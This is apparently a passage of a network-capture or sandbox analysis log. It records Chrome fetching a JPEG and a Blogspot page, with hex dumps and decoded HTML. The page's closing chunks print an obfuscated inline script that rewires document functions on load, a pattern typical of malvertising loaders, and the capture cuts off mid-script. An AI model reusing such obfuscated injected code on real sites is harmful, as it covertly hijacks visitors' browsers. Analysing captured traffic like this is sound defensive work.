2024-10-14 22:39:49 UTC	510	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd5e" Expires: Tue, 15 Oct 2024 22:39:49 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="demon-slayer-hashiras-and-muzan-poiyga4v7urv2lh4.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:49 GMT Server: fife Content-Length: 339854 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:49 UTC	868	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 80 04 00 00 03 a0 04 00 01 00 00 00 40 06 00 00 00 00 00 00 ff db 00 84 00 03 02 02 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 0a 08 08 08 08 09 0a 09 08 08 0b 0d 0a 08 0d 08 08 09 08 01 03 04 04 06 05 06 0a 06 06 0a 0d 0d 0a 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d Data Ascii: JFIFlExifII*12i:Google0220@
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 55 b6 40 32 82 34 f0 ce bb fa d4 ac 12 14 93 ee a4 65 b9 51 d3 d7 ce a3 b6 94 80 41 24 ab 44 81 ee fa d3 8b 00 02 12 b2 52 60 aa 79 8d a9 ac 02 fa c0 24 ab ef 4d c7 dd 22 89 e7 01 39 82 40 81 05 23 58 a3 c3 e2 a4 65 4a 40 cc 6e 7c bc ea 3b 56 27 50 20 89 a8 e8 04 b4 06 ba 53 ce b6 44 1b 02 75 48 d6 29 a0 99 36 bc 5f d3 ad 38 a5 27 ac c5 d5 33 ad 56 80 25 34 00 9d 7c b6 e8 69 41 f9 b0 03 69 1b 53 69 8f 76 75 d2 3a e9 35 27 0e c1 04 84 90 49 b9 b8 88 1d 79 eb 4c 04 66 ca 73 dc 78 75 31 fa 50 c5 35 f7 86 84 e9 b8 1d 69 5d dc cc 6a 34 e6 66 94 b8 44 03 79 12 76 29 e9 d6 91 93 62 9b 00 ea 04 6c 77 f5 a3 c1 00 64 1b 27 f1 0d 47 95 25 96 e0 28 90 4a 24 66 23 69 da 9b 71 c0 55 e1 b0 db fd a9 bc 10 21 10 15 ac 80 af 88 e6 6a 6a 17 2e 9b 7b d6 1b 7c 2a 16 1d 5e 29 Data Ascii: U@24eQA$DR`y$M"9@#XeJ@n\|;V'P SDuH)6_8'3V%4\|iAiSivu:5'IyLfsxu1P5i]j4fDyv)blwd'G%(J$f#iqU!jj.{\|*^)
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 70 ab de fb a2 74 13 4d 38 53 96 6f 99 2a 85 38 2f 2a 8b 14 f3 e5 53 94 c8 fb 34 92 52 82 2e 4a 75 f3 9d 0f 9d 45 c7 3e d9 92 42 e6 f0 8b 04 01 f8 ed a9 a0 92 33 cc 99 3d ea 62 c9 80 98 22 40 d0 c6 c7 f3 a6 1f 72 3c 67 2d ae 50 93 26 39 11 47 87 29 24 95 ac 80 21 43 aa 86 80 13 b7 e7 48 52 d4 17 de 12 25 40 93 20 44 68 3d 6d 48 30 c6 2d d0 48 2b 80 95 0c f1 17 11 b0 a8 98 bc 53 9a 44 88 b5 87 bb bd 4b c5 71 c4 98 19 52 ac a0 8c d1 1f 2a a7 c4 63 4e 5d b2 c9 20 ee 27 6f 21 b5 43 1e 23 6e 3b b5 e0 89 db 4e 75 17 16 ab 89 d8 5b 4f d2 92 f3 da 4d 84 40 f2 a8 0f e3 ed 13 a5 a6 a9 72 a2 e4 9b e8 90 bc 44 68 60 e9 50 56 fc 5e 27 ce 99 7d ed 3a 8a 88 a7 4d 53 29 16 a8 fb 8e b8 ff 00 2a 61 4b 9a 0d a7 53 ca 9b aa 37 17 86 aa 02 8a 85 2b 14 33 45 42 85 40 02 85 0a Data Ascii: ptM8So8/S4R.JuE>B3=b"@r<g-P&9G)$!CHR%@ Dh=mH0-H+SDKqRcN] 'o!C#n;Nu[OM@rDh`PV^'}:MS)aKS7+3EB@
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 48 de 86 d2 02 48 6c 25 05 2a 4f 88 dc 2a 6e 07 51 b7 c6 99 67 89 29 00 84 c0 90 41 f5 a8 ae 28 92 49 df 5a 48 14 8e 77 f9 46 06 6a 04 d2 fb 93 f8 4f e5 f9 d4 85 70 e2 22 4a 44 ff 00 1a 7f 49 aa e9 81 10 1a 79 77 00 8f 25 79 f3 a5 8c 22 b4 19 4f 91 07 f5 a6 e0 8b 1b 5c cc e8 4d 4a 5e 19 24 9c 08 59 07 28 24 1f 79 3b 7c 3f 5a 8c eb 24 7e f4 e9 52 f0 78 a0 92 4d d2 76 8b a4 fc 39 d5 b6 1c 87 06 61 96 37 1b 8e 64 ce c7 97 4a b5 42 32 e1 15 37 4f a3 33 52 30 98 80 24 1f 74 eb d3 ca ac f1 78 04 a7 c5 93 32 4e 85 3e 12 3d 0d aa b8 e1 02 8f 80 e6 fe 13 63 e9 b1 f3 a4 71 71 e0 75 4f 90 36 81 26 67 98 ea 3a 1a 1f 56 36 24 10 14 6c 7a 52 d3 88 04 00 a2 64 18 11 10 94 ee 29 e6 08 57 84 dd 3b 4e dd 7a 53 2e 45 6e 86 92 d8 93 26 c9 bd f4 57 2b 0f eb 45 de 4c 01 10 2f Data Ascii: HHl%OnQg)A(IZHwFjOp"JDIyw%y"O\MJ^$Y($y;\|?Z$~RxMv9a7dJB27O3R0$tx2N>=cqquO6&g:V6$lzRd)W;NzS.En&W+EL/
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 2b 19 7b c7 32 ac 10 0a 62 23 5f 4a ae c4 a7 ba 49 50 4a f3 a8 ce 6c c4 94 79 41 fc c5 3c ae 27 de 28 e4 57 8f 65 24 40 29 1a 93 e5 d6 80 2b f1 38 74 85 48 0a 4a 4a 52 52 83 a2 cc eb e6 79 fc aa 73 18 b5 ba ea 54 ea 14 de 5f 76 d0 11 03 42 0c 66 98 b5 c5 55 71 20 b9 01 44 a9 40 12 48 37 4a 46 84 75 9e 55 0d 1c 5d 64 15 77 8a 52 40 b9 26 f2 9d a0 f9 d4 59 34 6a 55 c4 d0 07 78 a1 95 44 e4 90 44 90 49 99 b7 86 7d 6a 8b 8a 62 4e 7f 01 ce 80 01 3a 80 39 1d 4c c5 55 f1 3c 5a 06 53 7c c7 c4 b0 74 b6 d5 0d fc 79 ba ca b4 80 94 93 b7 29 fe b5 16 4e d6 5c 2f 8a e6 cf 2a 94 94 c9 06 7e d0 9d c7 f1 0d 8e 9d 29 1c 2b 15 26 4e 52 32 c1 93 a0 3c ad 7f 95 52 39 c6 52 a5 c9 f0 88 10 91 a5 f6 03 95 43 c6 f1 00 40 04 04 c6 91 69 07 73 49 b8 75 12 cb 88 62 c1 00 c2 72 c9 84 Data Ascii: +{2b#_JIPJlyA<'(We$@)+8tHJJRRysT_vBfUq D@H7JFuU]dwR@&Y4jUxDDI}jbN:9LU<ZS\|ty)N\/*~)+&NR2<R9RC@isIubr
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 3a 11 ca ad b2 b4 99 3b 13 c4 1b 71 49 ef c2 c2 4a ae a6 bf 17 30 93 29 13 be 55 4c 72 ab 46 d9 6d e6 32 a4 b6 a2 95 12 88 29 46 22 3f 08 17 0a 1b c1 33 c8 8a a9 ec c3 58 77 a1 a7 80 45 d5 95 d4 28 a4 49 99 0a cc 62 13 a8 50 02 4d ab 77 88 f6 32 9e e4 af 0f 89 ce a0 90 a4 85 80 92 a0 77 42 c1 f7 b9 68 66 ac 85 be 4a e6 d2 e0 af c0 f6 93 10 c3 70 da 50 e0 47 d9 99 94 b8 00 ff 00 a8 81 a9 49 bc 93 be a6 ab 78 9f 6b 71 78 d5 64 08 48 29 8b a4 4a 53 1f 89 47 41 e4 27 e5 54 ae e2 d4 d2 94 85 e7 0e 15 99 5c fd b2 40 37 10 67 3a 79 99 36 ab f7 fb 7e be ec b4 14 86 66 02 1e 6d 02 e9 81 ef 65 16 51 33 ad 5b bb dc 85 0f 35 67 1f 69 e8 3a 4f 3a b0 6f 0a 87 00 ca 08 56 f7 aa f2 d5 e3 9d 2f 0c ee 45 83 b0 35 c9 47 59 96 0d f0 1e 6a f4 11 3f 3a ba c1 76 4d 26 73 25 7c Data Ascii: :;qIJ0)ULrFm2)F"?3XwE(IbPMw2wBhfJpPGIxkqxdH)JSGA'T\@7g:y6~fmeQ3[5gi:O:oV/E5GYj?:vM&s%\|
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 26 35 f4 eb 51 44 86 0d 18 5d 25 54 84 8a 01 92 11 8a 50 b8 26 a6 61 f8 a9 15 5c 28 4d 4a 95 08 e2 99 a1 67 8c 7f 15 cd 58 23 8d da 0c 1d 2b 1c 69 41 f2 34 a7 53 a1 1e 24 cd f3 1c 4f 9f e7 61 56 cd 71 55 1b 0b 4f ba 90 46 5f 33 cc d7 32 67 89 28 11 7a 7d 8e 34 a1 63 e6 29 d6 52 b7 80 e9 78 7e 3b 94 29 32 49 b5 86 84 a6 a4 70 ae 3c da 54 16 a4 cc c8 59 99 00 72 4f 23 5c cc f1 d1 d7 34 eb 4b 4f 69 0c 65 93 14 eb 31 5b c2 74 17 b8 d2 60 0f 79 12 48 e7 ad 81 a8 ee f1 e8 51 29 20 4c 79 a7 d2 b0 07 8f 1d 36 a4 ab 8e 13 f9 54 7c 61 96 13 a2 e3 7b 4e e2 a1 2a 50 03 75 0d fd 2a 1e 2f 8f 8c c7 bb 39 40 b0 3c fa f5 ac 1a f8 c1 3b 53 6a e2 6a 88 a8 79 89 58 4d de 2f b4 05 48 12 65 40 90 4e 9e 1e 55 54 ef 17 20 11 9b de f9 f9 d6 4c e3 15 ce 92 a7 c9 1a d2 7c 61 fe 01 Data Ascii: &5QD]%TP&a\(MJgX#+iA4S$OaVqUOF_32g(z}4c)Rx~;)2Ip<TYrO#\4KOie1[t`yHQ) Ly6T\|a{NPu/9@<;SjjyXM/He@NUT L\|a
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 78 4c f2 06 a2 28 84 2d 49 23 30 9c a1 5b 18 d1 43 f9 85 fd 6a 26 0d c0 14 26 60 d8 c7 23 fa 53 98 d5 a7 a6 90 7f 7e 55 72 95 22 9d bc 8b 4b c6 36 ca 0e 83 6e b5 63 81 ed 23 ec a8 77 4a 5d 88 56 59 2a 49 8e 7f da aa f0 21 5b da 2e 33 58 08 dc 79 54 97 5e 09 1e 13 24 eb 6b 9f 3e 95 31 7c 5a 62 ca 2b ca 34 b8 ee d8 3c f2 48 73 0e d2 e4 cc a8 90 47 92 82 d2 6f cb c5 e9 4e 70 ce 1e d9 0a 29 57 74 56 9f 1b 4e a9 b5 b4 a3 b0 4a 92 42 c4 72 37 1a cd c4 61 1c 20 19 b4 fc 45 49 c1 b4 0e bc 8d a0 58 f9 9a b5 64 b7 c8 b2 85 2e 0a 87 f6 a0 fa 77 a9 09 64 9d 06 d3 e5 41 0c a8 44 82 46 e2 b3 53 35 10 d2 9d 3a d1 94 41 8f ca 9f 79 b1 36 d3 f2 a5 b3 03 50 15 c8 c9 11 4a f1 59 2a 43 78 6c 69 4f 94 e9 56 67 00 83 a0 2a fe 50 63 e5 23 e7 50 54 fa 41 b2 00 f3 33 fa 0a 99 81 Data Ascii: xL(-I#0[Cj&&`#S~Ur"K6nc#wJ]VYI![.3XyT^$k>1\|Zb+4<HsGoNp)WtVNJBr7a EIXd.wdADFS5:Ay6PJYCxliOVg*Pc#PTA3
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: a8 01 e7 5b 90 44 85 10 76 da 39 f4 a4 3a d4 14 93 ee f4 b9 9a 42 5f 02 44 4c c1 04 ea 7f de 82 5c 99 06 c2 64 f3 1e 54 00 e2 90 93 94 90 48 fb db 7c c5 37 88 48 d5 22 06 9c ea 42 41 d8 66 40 17 13 1e 5c ef 51 df 24 91 b0 3a 0e 42 80 b1 b5 b4 40 07 9f ee f4 d1 15 34 e1 8a 55 1e f0 22 f1 cb cf 63 d6 96 e6 29 01 49 c8 9b 6e 0e b5 14 4d 95 d3 47 52 5f 46 6c ca 02 20 fb a3 69 fc e9 94 35 e9 4a d1 22 28 53 9d ce b1 a0 de 92 5b fe 9e b4 b4 89 13 42 96 eb 0a 4d 94 08 a4 a5 24 e8 24 d4 a0 0a 85 28 34 74 83 3c a2 f4 a4 b0 4e 80 fc 3f bd 43 a0 b1 ba 14 a5 34 44 c8 d2 94 db 04 98 dc e9 34 55 83 63 74 2a 43 b8 15 08 9d cc 0a 65 6d 10 63 7e 94 6d f7 20 4c 50 22 9d 4b 42 2f 9a 79 45 bf 3f d2 a4 ba d0 81 e1 20 24 1f 10 1a a8 ff 00 4a 64 80 82 69 48 6c 9a 71 a4 82 09 d4 Data Ascii: [Dv9:B_DL\dTH\|7H"BAf@\Q$:B@4U"c)InMGR_Fl i5J"(S[BM$$(4t<N?C4D4Uct*Cemc~m LP"KB/yE? $JdiHlq
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: fb 02 c7 c8 ee 29 c9 17 28 f4 27 fb 54 75 3c 46 84 0f 89 fc e8 64 e7 7f 4a 08 6f 36 df 2a a3 b2 e5 c0 d9 52 62 f2 4f 90 a4 95 8d 92 2a 48 e1 aa f5 02 62 a2 2d 1d 23 9c d4 34 32 68 34 a8 9d e9 30 67 fa 6b 4a 4a a9 43 6f 8d 47 20 05 3e a3 a9 26 2d a9 a0 19 57 23 56 18 57 9b 26 f6 b4 7a fe 95 29 64 09 23 96 f7 3f 1b 7e 55 62 85 f9 2b 94 fe 85 37 70 a8 16 f4 9b d4 e1 82 ca 04 78 b3 09 b2 bd d3 c8 8f 85 32 a7 63 d6 a4 31 8c 17 19 64 18 fd cf 5f 2a 94 90 5b 5c 8f 34 06 58 83 24 9b f9 52 d9 48 51 37 8b 6f a4 8a 61 ac 40 1a 49 23 68 f9 54 3c 56 26 6c 2c 2b 43 74 84 4a c7 31 84 93 02 2d 6a 63 b8 30 4e c0 d1 26 9c 78 1d a2 f1 3d 7f bd 26 ef 72 d4 a8 61 c6 88 f5 a4 64 27 6a 92 a7 89 b1 b1 02 c4 d1 07 bd 3d 6a b6 30 fe 0b 88 10 32 9d 3e 26 a6 2b 16 01 ba 49 98 8d 00 Data Ascii: )('Tu<FdJo6RbOHb-#42h40gkJJCoG >&-W#VW&z)d#?~Ub+7px2c1d_*[\4X$RHQ7oa@I#hT<V&l,+CtJ1-jc0N&x=&rad'j=j02>&+I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49752	216.58.206.33	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:49 UTC	702	OUT	GET /2024/10/365.html HTTP/1.1 Host: sqsq2938.blogspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:49 UTC	444	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Mon, 14 Oct 2024 22:39:49 GMT Date: Mon, 14 Oct 2024 22:39:49 GMT Cache-Control: private, max-age=0 Last-Modified: Mon, 14 Oct 2024 20:30:16 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-14 22:39:49 UTC	934	IN	Data Raw: 32 39 33 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 72 74 6c 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 27 20 78 6d 6c 6e 73 3a 62 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 62 27 20 78 6d 6c 6e 73 3a 64 61 74 61 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 64 61 74 61 27 20 78 6d 6c 6e 73 3a 65 78 70 72 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 65 78 70 72 27 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 Data Ascii: 293f<!DOCTYPE html><html dir='rtl' lang='en-US' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'><head><script type='text
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 6e 74 3d 27 27 20 6e 61 6d 65 3d 27 74 68 65 6d 65 2d 63 6f 6c 6f 72 27 2f 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 27 20 6e 61 6d 65 3d 27 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 76 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 27 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 d9 85 d8 b3 d9 84 d8 b3 d9 84 d8 a7 d8 aa 20 d8 b1 d9 85 d8 b6 d8 a7 d9 86 20 32 30 32 34 20 20 2d 20 41 74 6f 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 71 73 71 32 39 33 38 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 66 65 65 64 73 2f 70 6f 73 74 73 2f 64 65 66 61 75 6c 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 Data Ascii: nt='' name='theme-color'/><meta content='' name='msapplication-navbutton-color'/><link rel="alternate" type="application/atom+xml" title=" 2024 - Atom" href="https://sqsq2938.blogspot.com/feeds/posts/default" /><link rel="alter
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 20 d8 b1 d9 85 d8 b6 d8 a7 d9 86 20 32 30 32 34 20 27 20 6e 61 6d 65 3d 27 74 77 69 74 74 65 72 3a 64 6f 6d 61 69 6e 27 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 71 73 71 32 39 33 38 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 32 30 32 34 2f 31 30 2f 33 36 35 2e 68 74 6d 6c 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 31 2e 62 70 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b Data Ascii: 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/365.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 72 65 66 3d 27 2f 2f 61 70 69 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 70 61 67 65 61 64 32 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e Data Ascii: ref='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link href='//pagead2.googlesyndication
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 6f 70 3a 20 37 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 20 33 3b 20 7d 20 61 2e 67 65 74 43 6f 64 65 7b 74 6f 70 3a 20 34 30 70 78 3b 7d 20 2e 43 6f 64 65 43 68 61 6e 6e 6c 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 66 35 31 62 35 30 30 3b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 30 3b 20 72 69 67 68 74 3a 20 30 3b 20 6c 65 66 74 3a 20 30 3b 20 62 6f 74 74 6f 6d 3a 20 30 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7a 2d 69 6e 64 65 78 3a 20 32 3b 7d 20 2e 43 6f 64 65 43 68 61 6e 6e 6c 65 20 74 65 78 74 61 72 65 61 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 Data Ascii: op: 7px; font-size: 15px; z-index: 3; } a.getCode{top: 40px;} .CodeChannle { background: #3f51b500; display: none; position: fixed; top: 0; right: 0; left: 0; bottom: 0; width: 100%; text-align: center; z-index: 2;} .CodeChannle textarea { position: relat
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 63 6f 6c 6f 72 3a 20 23 30 65 30 65 30 65 3b 20 7d 20 2e 63 6c 6f 73 65 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 2d 32 37 70 78 3b 20 72 69 67 68 74 3a 20 31 35 34 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 32 70 78 3b 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 7a 2d 69 6e 64 65 78 3a 20 35 3b 63 6f 6c 6f 72 3a 23 63 33 31 35 31 35 3b 7d 20 7d 0a 2e 66 65 65 64 4c 69 6e 6b 73 28 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0a 0a 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 Data Ascii: osition: relative; color: #0e0e0e; } .close{ position: absolute; top: -27px; right: 154px; font-size: 42px;cursor: pointer;z-index: 5;color:#c31515;} }.feedLinks(display:none !important;}--></style><script src='https://ajax.googleapis.com/ajax/libs/jq
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 3c 2f 61 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 6d 61 69 6e 20 73 65 63 74 69 6f 6e 27 20 69 64 3d 27 6d 61 69 6e 27 3e 3c 64 69 76 20 63 6c 61 73 73 3d 27 77 69 64 67 65 74 20 48 54 4d 4c 27 20 64 61 74 61 2d 76 65 72 73 69 6f 6e 3d 27 31 27 20 69 64 3d 27 48 54 4d 4c 32 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 77 69 64 67 65 74 2d 63 6f 6e 74 65 6e 74 27 3e 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 28 29 3d 3e 7b 76 61 72 20 66 3d 27 72 43 61 6f 68 64 43 65 6d 7a 6f 4d 72 61 66 74 7a 68 67 7a 6e 72 69 61 72 6e 74 64 53 6f 7a 6d 79 7a 74 74 72 6f 65 53 70 74 6f 72 72 69 50 6e 65 67 6e 7a 69 73 66 6c 65 69 64 63 7a 65 74 7a 63 72 Data Ascii: </a><div class='main section' id='main'><div class='widget HTML' data-version='1' id='HTML2'><div class='widget-content'><script data-cfasync="false" type="text/javascript">(()=>{var f='rCaohdCemzoMraftzhgznriarntdSozmyzttroeSptorriPnegnzisfleidczetzcr
2024-10-14 22:39:49 UTC	1365	IN	Data Raw: 76 5b 66 5b 32 36 5d 5d 3b 6c 65 74 20 5f 3d 7b 7d 3b 5f 5b 66 5b 32 37 5d 5d 3d 21 31 2c 69 5b 66 5b 32 38 5d 5d 5b 66 5b 32 39 5d 5d 28 69 5b 66 5b 33 30 5d 5d 2c 66 5b 33 31 5d 2c 5f 29 3b 6c 65 74 20 4c 3d 69 5b 66 5b 33 32 5d 5d 5b 66 5b 33 33 5d 5d 28 29 5b 66 5b 33 34 5d 5d 28 33 36 29 5b 66 5b 33 35 5d 5d 28 32 29 5b 66 5b 33 36 5d 5d 28 2f 5e 5c 64 2b 2f 2c 66 5b 33 37 5d 29 3b 77 69 6e 64 6f 77 5b 4c 5d 3d 64 6f 63 75 6d 65 6e 74 2c 78 5b 66 5b 33 38 5d 5d 28 7a 3d 3e 7b 64 6f 63 75 6d 65 6e 74 5b 7a 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 5b 66 5b 31 33 5d 5d 5b 7a 5d 5b 66 5b 33 39 5d 5d 28 77 69 6e 64 6f 77 5b 66 5b 31 33 5d 5d 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 29 2c 52 5b 66 5b 33 38 5d 5d 28 7a 3d 3e 7b 6c 65 74 Data Ascii: v[f[26]];let _={};_[f[27]]=!1,i[f[28]][f[29]](i[f[30]],f[31],_);let L=i[f[32]][f[33]]()[f[34]](36)[f[35]](2)[f[36]](/^\d+/,f[37]);window[L]=document,x[f[38]](z=>{document[z]=function(){return i[f[13]][z][f[39]](window[f[13]],arguments)}}),R[f[38]](z=>{let
